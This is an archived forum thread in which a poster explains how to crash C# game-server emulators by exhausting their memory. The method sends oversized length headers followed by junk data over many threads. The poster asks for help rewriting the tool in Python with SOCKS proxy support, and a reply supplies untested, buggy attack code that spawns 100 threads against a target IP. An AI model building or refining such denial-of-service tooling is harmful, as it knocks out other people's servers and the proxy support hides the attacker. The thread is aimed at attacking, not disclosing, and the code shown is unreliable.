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[Python] Denial of Service with python - Networking & Socks proxy - Printable Version

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Denial of Service with python - Networking & Socks proxy - Demure - May 23, 2016

I have found a memory leak in a C# emulator for a particular game and I've been able to crash small servers (4 / 8 GB total server memory).
Basically how it works is;
  1. Open a TCP connection with the server
  2. Send 6 bytes with a length of max int in C#
    • Packets are constructed like this:
      • 4 bytes - length (integer)
      • 2 bytes - packet id (short)
      • 'length' bytes - payload
  3. Keep sending junk data until reaches max int
  4. Keep connection open and start again
  5. Do this with multiple threads
The server is storing all data in a byte array (using Buffer.BlockCopy) until it reaches the packet length and then does literally nothing because the packet is too long (badly placed if statements).

I want to rewrite my small C# program in python to get better speeds and add socks proxy support.

If possible, could someone give me some tips so I know what to look out for?
Also please recommend libraries.

I was looking at this library https://github.com/Anorov/PySocks but I don't know if there are any better libs available.

Edit: I currently have this:
http://pastebin.com/Rw6Nmxh9

It's not optimal yet but it works okay (useless running variable etc..) and add proxy support.
Am I doing this right so far?

* - SIM-1866423 - May 24, 2016

Also im not sure python bytearray equals right byte sizes.


https://docs.python.org/2/library/ctypes.html <-- for C variables
https://pypi.python.org/pypi/PySocks/1.5.7 <-- to set up proxy



Also try something primitive, maybe like this(I did not test it)

PHP Code

<?php 
import socket
import threading
from sys import exit



storage = 0
limit = 2147000000

def SEND():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("192.168.1.34", 4444))
    while True:
        try:
            s.send( s.send(bytearray([127, 255, 255, 255, 15, 160])))
            storage += 6
            if storage == limit:
                exit("Done")
        except socket.timeout:
            SEND()

for num in range(0, 100):
    thread = threading.Thread(target=SEND)
    thread.start()